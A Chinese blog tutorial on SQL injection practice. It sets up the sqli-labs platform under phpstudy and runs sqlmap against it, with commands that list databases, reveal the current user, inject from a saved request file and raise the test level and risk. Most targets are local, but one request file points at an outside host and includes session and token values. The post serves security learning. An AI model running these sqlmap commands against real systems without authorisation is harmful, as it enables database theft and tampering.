SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)

SQL注入:

sqli-labs:

一个实验平台,里面有完整的SQL注入课程,需要phpstudy环境,因此先安装phpstudy环境

phpstudy:

https://www.xp.cn/

安装后发现数据库和我本机的数据库出现冲突了,只能使用

sc delete mysql

删掉我本机的mysql8服务,如果需要使用原来的mysql,管理员命令下输入

mysqld --install

删除之后成功启动

image-20220428170614456

启动成功后,去下载sqli-labs:

 https://github.com/Audi-1/sqli-labs

下载后的包导入到php的根目录WWW下,然后将D:\softwares\phpstudy_pro\WWW\sqli\sql-connections目录下的db-creds.inc文件里面的用户名和密码都设置为root

image-20220428171148955

启动成功后访问

http://127.0.0.1/sqli/

然后点击reset Database for labs重置数据库

image-20220428171242818

如果重置数据库出现mysql_connect(): The mysql extension is deprecated and will be removed in the future

进入phpstudy,选择php5.5.9版本即可

image-20220428171439116

sqlmap:

安装sqlmap:不要后面的算法

由于手动注入、半自动化注入效率较低,对于一些常规的、重复性的可以交由神奇sqlmap来完成

sqlmap需要python2的环境,因此,在安装一个python2环境,因为我本机已经有python3环境了,所以安装python2需要注意一点:

先下载Python2:www.python.org

下载后安装就OK了,然后配置环境变量:把安装目录加上去

image-20220428171922576

然后重命名python.exe改为python2.exe

image-20220428172007823

打开cmd输入:Python2

image-20220428172101709

表示成功

sqlmap注入sqli-lab测试:

在sqlmap目录输入:

python2 .\sqlmap.py,

出现如下信息表示启动成功,可以使用

image-20220428172246369

打开sqli-lab 第一章:http://127.0.0.1/sqli/Less-1/

image-20220428172338631

需要传id可以查到数据库的内容;

image-20220428172415936

输入地址http://127.0.0.1/sqli/Less-1/?id=4

image-20220428172457790

可以发现对应数据库数据一致,接下来我们对数据库进行SQL注入测试:

sqlmap命令行输入

python2 sqlmap.py -u "http://127.0.0.1:8080/thymeleaf/listCategory?start=2"

image-20220428172958498

出现:已经检测到是mysql数据库,是否跳过检测其他类型数据库,输入y

image-20220428173119343

出现:GET 参数 ‘id’ 易受攻击,我们选择Y,sqlmap就已经判断该链接的数据库以及其他服务版本是具有SQL注入威胁存在的

常用的命令:

image-20220428193622546

例如:输入

python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --dbs直接列出了我的所有数据库

image-20220428193839191

例如输入

python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --current-user直接列出了当前的用户

image-20220428194411911

也可以通过文件进行注入

文件为payload.txt内容为接口信息

POST /biz/modularity/project114/manyParamsSqlszsfdsfwe HTTP/1.1
Host: http://daily.manateeai.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: application/json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://daily.manateeai.com
Content-Type: application/json
Origin: http://daily.manateeai.com
Connection: keep-alive
session:dd9cee1fdec64bfba5843c6f1093ae3a
token:a6884edadb24c247c3c632b521f91f77

{
  "name": "张三",
  "pageNum": 2,
  "pageSize": 2
}

输入命令

python2 sqlmap.py -r payload.txt --batch --dbs 直接列出了当前的数据库信息列表

风险等级评测:

探测等级(执行测试的等级(1-5,默认为1) )
参数: --level
共有五个等级,默认为1 ,lv2:cookie; lv3:user-agent,refere; lv5:host 我常使用–level 3

风险等级(执行测试的风险(0-3,默认为1) )
参数: -risk
共有四个风险等级,risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。 常用就是默认1

例如:输入:

python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --level=5 --risk=3

image-20220429113021283

注意点!!!:

每次注入完需要把C盘有个目录下的缓存文件夹删掉,如果不请掉的话,会拿以前的注入点去注最新的接口,有可能会造成sql注入结果无效

image-20221008103039124

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值